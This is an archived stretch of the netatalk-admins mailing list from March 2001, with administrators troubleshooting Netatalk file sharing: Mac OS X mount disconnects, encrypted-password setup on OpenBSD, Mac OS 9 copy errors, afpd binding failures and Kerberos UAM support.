Content-Type: text/plain;
	format=flowed;
	charset=us-ascii


On Thursday, March 15, 2001, at 10:28 PM, Marcus wrote:

> I have been using one of the "later than the public beta(4k17)" 
> versions of OSX(4k78), and connecting to netatalk-1.4b2+asun214-37b
Have the same trouble with 4k78.  In fact the log files I captured were 
from an attempt by a 4k78 box.
>  servers fine. Last night I backed up my Titanium Powerbook to a 
> netatalk server (4GB of data) without a problem.
> I have had a friend of mine report that coping a HUGE amount of data 
> would cause OSX to kernel panic, but that was 4k29.
Are you using EXT2 for your disks?  Would using HFS+ volumes in Linux 
make any difference on how Netatalk handles the the connection to the 
client(Resource fork emulation..).
> Don't use the "official" public beta for testing, it is a completely 
> different OS to the later ones...which is a relief. I am running 
> netatalk on a Mandrake 7.2 on a IBM e-server x200, and using 
> netatalk-1.4b2+asun214-37b with encrypted passwords support.
Your version of Netatalk(the asun part) seems to have a  slightly 
different version numbers scheme.  Did you get a special build from 
somewhere other than the normal places(Sourceforge etc.), maybe I can 
try your build....
> mrad01
>
>>
>> From: "David J. Shaub" <zer0@mac.com>
>> Date: Thu, 15 Mar 2001 20:05:30 -0500
>> To: netatalk-admins@umich.edu
>> Subject: Mac OS X - connecting to Netatalk servers
>>
>> Although I haven't helped anyone on this list yet - maybe one day I 
>> can.
>>
>> I have been playing around with Mac OS X and it seems there is a
>> problem.  Netatalk volumes are not accessible.  While watching
>> /var/log/messages, it seems the authentication goes through.  You then
>> get your list of accessible shares, but when you attempt to mount 
>> them -
>> the server disconnects the client(Mac OS X box).
>>
>

--Apple-Mail-1797652249-1
Content-Transfer-Encoding: quoted-printable
Content-Type: text/enriched;
	charset=us-ascii


On Thursday, March 15, 2001, at 10:28 PM, Marcus wrote:


<excerpt>I have been using one of the "later than the public
beta(4k17)" versions of OSX(4k78), and connecting to
netatalk-1.4b2+asun214-37b

</excerpt>Have the same trouble with 4k78.  In fact the log files I
captured were from an attempt by a 4k78 box. =20

<excerpt> servers fine. Last night I backed up my Titanium Powerbook
to a netatalk server (4GB of data) without a problem.

I have had a friend of mine report that coping a HUGE amount of data
would cause OSX to kernel panic, but that was 4k29.

</excerpt>Are you using EXT2 for your disks?  Would using HFS+ volumes
in Linux make any difference on how Netatalk handles the the
connection to the client(Resource fork =
emulation..).<color><param>0000,0000,DEB7</param>

</color><excerpt>Don't use the "official" public beta for testing, it
is a completely different OS to the later ones...which is a relief. I
am running netatalk on a Mandrake 7.2 on a IBM e-server x200, and
using netatalk-1.4b2+asun214-37b with encrypted passwords support.

</excerpt>Your version of Netatalk(the asun part) seems to have a=20
slightly different version numbers scheme.  Did you get a special
build from somewhere other than the normal places(Sourceforge etc.),
maybe I can try your build....<color><param>0000,0000,DEB7</param>

</color><excerpt>mrad01=20


<excerpt>

From: "David J. Shaub" <<zer0@mac.com>

Date: Thu, 15 Mar 2001 20:05:30 -0500

To: netatalk-admins@umich.edu

Subject: Mac OS X - connecting to Netatalk servers


Although I haven't helped anyone on this list yet - maybe one day I
can.


I have been playing around with Mac OS X and it seems there is a=20

problem.  Netatalk volumes are not accessible.  While watching=20

/var/log/messages, it seems the authentication goes through.  You then=20=


get your list of accessible shares, but when you attempt to mount them
-=20

the server disconnects the client(Mac OS X box).=20


</excerpt>

</excerpt>=

--Apple-Mail-1797652249-1--

From netatalk.administrators-errors@umich.edu  Fri Mar 16 15:30:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA12485
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Mar 2001 15:30:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA06216
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Mar 2001 15:30:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA06121
	for netatalk.administrators-members@umich.edu; Fri, 16 Mar 2001 15:30:40 -0500 (EST)
Received: from garnet.tc.umn.edu (garnet.tc.umn.edu [160.94.218.249])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA05981
	for <netatalk-admins@umich.edu>; Fri, 16 Mar 2001 15:30:37 -0500 (EST)
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Fri, 16 Mar 2001 14:30:42 -0600
Date: Fri, 16 Mar 2001 14:30:41 -0600 (CST)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: rand2num passwords OpenBSD 2.8
Message-Id: <Pine.SOL.4.20.0103161401330.9796-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I've scoured the mail archives and the docs for the answer to this one, it
should be working...

I've installed netatalk 1.4b2+asun2.1.3 on an OpenBSD 2.8
server. Everything works except getting encrypted passwords. I've tried a
number of things. First, my makefile did have the directory to find des.a
and libdes.a, and compiled without errors. Is there something I need to do
to activate DES in the OpenBSD kernel? I can't imagine the default GENERIC
kernel doesn't have it turned on.

I had my rc.local file disabling guest as it launched afpd for awhile,
with the -G option, but turned it off while working on this problem.

Right now my afpd.conf files says:

"server" -noguest -nocleartext -savepassword -setpassword -rand2num

AppleVolumes.default has:

~
/home/public	"PublicFileShare"

The macs will still let me on, but the login screen says "cleartext" and
won't let me change or set passwords.  This is true on OS 8.1, 8.6 and
9.0.4.

.passwd exists in my home directory, and in /home/public, and has
the correct permissions etc.

When I make those changes to afpd.conf, and SIGHUP afpd and atalkd, this
turns up in /var/log/daemon: 

afpd[24529] disallowing logins

But I can still log in from the macs as myself and the test account.

I just started working with Netatalk a week or so ago, so I'm still fairly
new to it's workings.

I see references to afppasswd in the mail archives, but no such thing
exists on my system. Is that linux only?

I think I'm missing something really simple. Anyone see it?

And, another really stupid question. I was using the precompiled
port/package of netatalk for OpenBSD first, and had problems. So I
compiled the one I'm using now and it works much better. But the port had
the BSD devil icon on the share tray instead of the world, which the
compiled version has. I'd like the BSD icon back, but when I get the copy
on the BSD webpage, it's not transparent, and I can't get it to be
transparent. I've tried a number of methods to make it transparent, but
apparently I'm much more graphically challenged than I thought. I don't
suppose someone would be willing to send me a copy of the transparent BSD
appleshare icon?

Thanks and sincerely,

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *


From netatalk.administrators-errors@umich.edu  Sun Mar 18 11:11:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA01561
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 18 Mar 2001 11:11:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA08052
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 18 Mar 2001 11:11:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA08027
	for netatalk.administrators-members@umich.edu; Sun, 18 Mar 2001 11:11:30 -0500 (EST)
Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA07940
	for <netatalk-admins@umich.edu>; Sun, 18 Mar 2001 11:11:27 -0500 (EST)
From: grobe@gmx.net
Received: (qmail 13657 invoked by uid 0); 18 Mar 2001 16:11:25 -0000
Date: Sun, 18 Mar 2001 17:11:25 +0100 (MET)
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Subject: MacOS9, copying folders to server problem
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0000290134@gmx.net
X-Authenticated-IP: [130.83.244.130]
Message-ID: <2803.984931885@www32.gmx.net>
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Hi!

After I tried a lot of permission settings, I found that there seam to be
different behaviours on different MacOS9-clients. The problem was that I can't
copy a folder containing files to a netatalk+asun-pre37-server (I get the
message that files are "geschuetzt" (German, something like secured). The user
has group and owner-permissions. The problem appeared on a UmaxPulsar. Next, I
tried the same on a G4 (MacOS9 in both cases) - no errors....

Where should I search the difference causing these errors? I'm not a
Mac-Pro, I just found that both Macs have the same OS...

Is this error known?

CU, Lars.

www.rechnerpool.com

-- 
Sent through GMX FreeMail - http://www.gmx.net


From netatalk.administrators-errors@umich.edu  Mon Mar 19 08:34:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26355
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 08:34:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25165
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 08:34:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25149
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 08:34:05 -0500 (EST)
Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA25068
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 08:34:03 -0500 (EST)
Received: from fwd05.sul.t-online.com 
	by mailout04.sul.t-online.com with smtp 
	id 14eznO-00007F-04; Mon, 19 Mar 2001 14:34:02 +0100
Received: from [192.168.0.33] (07031811601-0001@[217.2.91.113]) by fmrl05.sul.t-online.com
	with esmtp id 14ezn9-0Z1XDkC; Mon, 19 Mar 2001 14:33:47 +0100
Mime-Version: 1.0
Message-Id: <a05010400b6db6d86b521@[192.168.0.33]>
In-Reply-To: <2803.984931885@www32.gmx.net>
References: <2803.984931885@www32.gmx.net>
Date: Mon, 19 Mar 2001 09:05:59 +0100
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Re: MacOS9, copying folders to server problem
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA26355

I work with ...pre 39.
A G3 Laptop with OS 9 has the same problems (sometimes I couldn't 
save a file to the server "file not found"...) with other Macs (other 
OS) all is working fine. It sees to be a problem with OS 9.
-- 
Viele Grüße
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
patch to an 8 bit operating system originally coded for a 4 bit
microprocessor, written by a 2 bit company, that can't stand 1 bit of
competition

From netatalk.administrators-errors@umich.edu  Mon Mar 19 13:43:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA05760
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 13:43:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA01698
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 13:43:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA01685
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 13:43:08 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA01616
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 13:43:07 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Mon, 19 Mar 2001 10:44:33 -0800
Message-Id: <sab5e311.050@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Mon, 19 Mar 2001 10:44:33 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: App copy problems (-50)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA05760

I'm having problems copying 'Application' files to my YellowDog Linux 1.2 with netatalk-1.4b2+asun2.1.3.

Any time I try to copy an application file I get a -50 error.   My logs at that time show the following:

Mar 19 10:39:52 ccmf1 afpd[20189]: afp_addicon: Permission denied

I own this directory, I have full ownership of the .AppleDouble directory contained within it. 

What causes this?  This also happens on several other areas of the server.  All files other than this can be copied no problem!

Bryn


-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Bryn Hughes
Macintosh Tech Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
fax: (604) 443-8353
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

From netatalk.administrators-errors@umich.edu  Mon Mar 19 14:22:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA06973
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 14:22:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA29910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 14:21:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA29811
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 14:21:49 -0500 (EST)
Received: from hemi.metrotv.com ([209.98.153.188])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA29717
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 14:21:45 -0500 (EST)
Received: (qmail 38386 invoked by uid 1009); 19 Mar 2001 19:36:51 -0000
Received: from excursion.metrotv.com (HELO ?209.98.153.38?) (209.98.153.38)
  by mail.metrotv.com with SMTP; 19 Mar 2001 19:36:51 -0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 19 Mar 2001 13:20:41 -0600
Subject: Appletalk over IP not working
From: Eric Long <eric@metrotv.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6DBB829.23A5%eric@metrotv.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I've followed the instructions, searched on the web, in past mailing lists,
etc. etc. and still cannot figure out how to get afpd to work.

In my logs I get the following:

main: atp_open: Can't assign requested address

In my afpd.conf file:

"MACHINE NAME" -tcp -ipaddr 192.158.1.1 -port 548

I'm specifying the correct ip address, even let afpd try grabbing an ip on
its on (the box only has one IP assigned to it).  I'm at a loss for what
else I should try and do.

Running netatalk 1.4b2 (installed from the ports collection with all the
proper patches) on FreeBSD 4.1.1.

Any suggestions?

-Eric


From netatalk.administrators-errors@umich.edu  Mon Mar 19 15:13:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA08060
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 15:13:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA05472
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 15:13:32 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA05436
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 15:13:29 -0500 (EST)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA04308
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 15:13:20 -0500 (EST)
Received: from terrascope.com (localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.11.0/8.11.0) with ESMTP id f2JKKRb18328;
	Mon, 19 Mar 2001 12:20:27 -0800
Sender: walt@dionysus.terrascope.com
Message-ID: <3AB66A0A.F4E0129B@terrascope.com>
Date: Mon, 19 Mar 2001 12:20:26 -0800
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Eric Long <eric@metrotv.com>, netatalk-admins@umich.edu
Subject: Re: Appletalk over IP not working
References: <B6DBB829.23A5%eric@metrotv.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Eric Long wrote:

> I've followed the instructions, searched on the web, in past mailing lists,
> etc. etc. and still cannot figure out how to get afpd to work.
>
> In my logs I get the following:
>
> main: atp_open: Can't assign requested address
>
> In my afpd.conf file:
>
> "MACHINE NAME" -tcp -ipaddr 192.158.1.1 -port 548
>

try this:

machine_name    -port 12001    -address 192.158.1.1

also, your specified address (xxx.158.xxx.xxx) looks a bit odd.  do you mean
xxx.168.xxx.xxx?

w


From netatalk.administrators-errors@umich.edu  Mon Mar 19 15:55:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA09286
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 15:55:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA19268
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 15:55:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA19256
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 15:55:46 -0500 (EST)
Received: from hemi.metrotv.com ([209.98.153.188])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA19208
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 15:55:44 -0500 (EST)
Received: (qmail 39875 invoked by uid 1009); 19 Mar 2001 21:11:10 -0000
Received: from excursion.metrotv.com (HELO ?209.98.153.38?) (209.98.153.38)
  by mail.metrotv.com with SMTP; 19 Mar 2001 21:11:10 -0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 19 Mar 2001 14:55:00 -0600
Subject: Re: Appletalk over IP not working
From: Eric Long <eric@metrotv.com>
To: Walt Reed <walt@terrascope.com>, <netatalk-admins@umich.edu>
Message-ID: <B6DBCE43.23B8%eric@metrotv.com>
In-Reply-To: <3AB66A0A.F4E0129B@terrascope.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I tried that before, just tried it again, here's the error:

netatalkbind: Can't assign requested address
bind: Can't assign requested address

>From the log file:
afpd[6909]: main: atp_open: Can't assign requested address

As for the IP, yes it looks a bit odd because I made a typo, it should be
168 not 158.

-Eric

>> I've followed the instructions, searched on the web, in past mailing lists,
>> etc. etc. and still cannot figure out how to get afpd to work.
>> 
>> In my logs I get the following:
>> 
>> main: atp_open: Can't assign requested address
>> 
>> In my afpd.conf file:
>> 
>> "MACHINE NAME" -tcp -ipaddr 192.158.1.1 -port 548
>> 
> 
> try this:
> 
> machine_name    -port 12001    -address 192.158.1.1
> 
> also, your specified address (xxx.158.xxx.xxx) looks a bit odd.  do you mean
> xxx.168.xxx.xxx?
> 
> w
> 
> 


From netatalk.administrators-errors@umich.edu  Mon Mar 19 17:04:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA10989
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 17:04:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA13151
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 17:04:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA13122
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 17:04:36 -0500 (EST)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA13071
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 17:04:35 -0500 (EST)
Received: from terrascope.com (localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.11.0/8.11.0) with ESMTP id f2JMCSb18567
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 14:12:28 -0800
Sender: walt@dionysus.terrascope.com
Message-ID: <3AB6844C.596DD4D8@terrascope.com>
Date: Mon, 19 Mar 2001 14:12:28 -0800
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Appletalk over IP not working
References: <B6DBCE43.23B8%eric@metrotv.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

since the box has only one ip, what happens when you make the config:

machine_name    -port 12001

or nothing @ all?

w


Eric Long wrote:

> I tried that before, just tried it again, here's the error:
>
> netatalkbind: Can't assign requested address
> bind: Can't assign requested address
>
> >From the log file:
> afpd[6909]: main: atp_open: Can't assign requested address
>
> As for the IP, yes it looks a bit odd because I made a typo, it should be
> 168 not 158.
>
> -Eric
>
> >> I've followed the instructions, searched on the web, in past mailing lists,
> >> etc. etc. and still cannot figure out how to get afpd to work.
> >>
> >> In my logs I get the following:
> >>
> >> main: atp_open: Can't assign requested address
> >>
> >> In my afpd.conf file:
> >>
> >> "MACHINE NAME" -tcp -ipaddr 192.158.1.1 -port 548
> >>
> >
> > try this:
> >
> > machine_name    -port 12001    -address 192.158.1.1
> >
> > also, your specified address (xxx.158.xxx.xxx) looks a bit odd.  do you mean
> > xxx.168.xxx.xxx?
> >
> > w
> >
> >

From netatalk.administrators-errors@umich.edu  Mon Mar 19 17:25:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA11575
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 17:25:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA17354
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 17:25:51 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA17329
	for netatalk.administrators-members@umich.edu; Mon, 19 Mar 2001 17:25:50 -0500 (EST)
Received: from hemi.metrotv.com ([209.98.153.188])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA17287
	for <netatalk-admins@umich.edu>; Mon, 19 Mar 2001 17:25:48 -0500 (EST)
Received: (qmail 41176 invoked by uid 1009); 19 Mar 2001 22:41:07 -0000
Received: from excursion.metrotv.com (HELO ?209.98.153.38?) (209.98.153.38)
  by mail.metrotv.com with SMTP; 19 Mar 2001 22:41:07 -0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 19 Mar 2001 16:24:57 -0600
Subject: Re: Appletalk over IP not working
From: Eric Long <eric@metrotv.com>
To: Walt Reed <walt@terrascope.com>, <netatalk-admins@umich.edu>
Message-ID: <B6DBE358.2434%eric@metrotv.com>
In-Reply-To: <3AB6844C.596DD4D8@terrascope.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Without any config file, it still gives me the same error.  Same thing if I
just specify a machine name and port number.

What's weird is that if I start atalkd as well (I currently just need afpd),
then afpd will run, but I have no clue how it's running because it's not
binding to any address or port.  I know this because I tried connecting when
it was running and it didn't work.

Whether or not afpd is running, I still see the "Can't assign requested
address" message in my logs.

Yes, my hosts.allow is configured correctly.  I'm currently allowing ALL
connections to the box.  I have no way of telling if atalkd is actually
working because this box is on another network and I'm setting this up
remotely.  Just want to do appletalk over TCP/IP.

-Eric

> since the box has only one ip, what happens when you make the config:
> 
> machine_name    -port 12001
> 
> or nothing @ all?
> 
> w
> 
> 
> Eric Long wrote:
> 
>> I tried that before, just tried it again, here's the error:
>> 
>> netatalkbind: Can't assign requested address
>> bind: Can't assign requested address
>> 
>>> From the log file:
>> afpd[6909]: main: atp_open: Can't assign requested address
>> 
>> As for the IP, yes it looks a bit odd because I made a typo, it should be
>> 168 not 158.
>> 
>> -Eric
>> 
>>>> I've followed the instructions, searched on the web, in past mailing lists,
>>>> etc. etc. and still cannot figure out how to get afpd to work.
>>>> 
>>>> In my logs I get the following:
>>>> 
>>>> main: atp_open: Can't assign requested address
>>>> 
>>>> In my afpd.conf file:
>>>> 
>>>> "MACHINE NAME" -tcp -ipaddr 192.158.1.1 -port 548
>>>> 
>>> 
>>> try this:
>>> 
>>> machine_name    -port 12001    -address 192.158.1.1
>>> 
>>> also, your specified address (xxx.158.xxx.xxx) looks a bit odd.  do you mean
>>> xxx.168.xxx.xxx?
>>> 
>>> w
>>> 
>>> 
> 
> 


From sam@rogue.shadow.org  Mon Mar 19 17:44:30 2001
Return-Path: <sam@rogue.shadow.org>
Received: from rogue.shadow.org (dsl-209-162-215-114.easystreet.com [209.162.215.114])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA11987
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 17:44:25 -0500 (EST)
Received: (from sam@localhost)
	by rogue.shadow.org (8.9.3/8.9.3) id OAA24091
	for netatalk-admins@terminator.rs.itd.umich.edu; Mon, 19 Mar 2001 14:44:24 -0800
Date: Mon, 19 Mar 2001 14:44:23 -0800
From: sam@shadow.org
To: netatalk-admins@terminator.rsug.itd.umich.edu
Subject: netatalk with AuthMan UAM
Message-ID: <20010319144423.A24082@shadow.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0.1i

Okay, this is a little more complicated than I'd really like -- HOWEVER...

I'm trying to resurrect the krb4 code in the sourceforge netatalk...
I can now successfully load Kerberos IV as a uam but things don't just
magically work and I'm hoping somebody here might be able to suggest
places for me to tinker...

First I tried using MIT's Kerberos4/5 client (and I'd like to eventually
use this anyway, but for now that can wait) unsuccessfully.  Now I'm
using the MacKerberos non-UM 2.0.4 as distributed via
www.umich.edu/~rsug...  Using the AuthMan in 2.0.4 I can successfully
acquire a kerberos 4 ticket but when I try to mount a netatalk volume
via the chooser, I get an error to the effect of "Sorry, the UAM on the
server is too old an AuthMan version".  Has anybody done any work to
netatalk to rectify this?

Alternatively, I've tried using the AuthMan UAM 1.1 (also from the same
place at umich, distributed as AuthManUAMSrc.sea) and I seem to get a
little bit further.  The appleshare client brings up a "Select Logon Method"
dialog but the listbox that ought to contain logon methods is empty.

Does this indicate that I've made a mistake building the krb4 uam?
Suggestions?

/* Sam */

From netatalk.administrators-errors@umich.edu  Mon Mar 19 17:48:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA12053
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Mar 2001 17:48:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA22289
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Mar 2001 17:48:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA22276
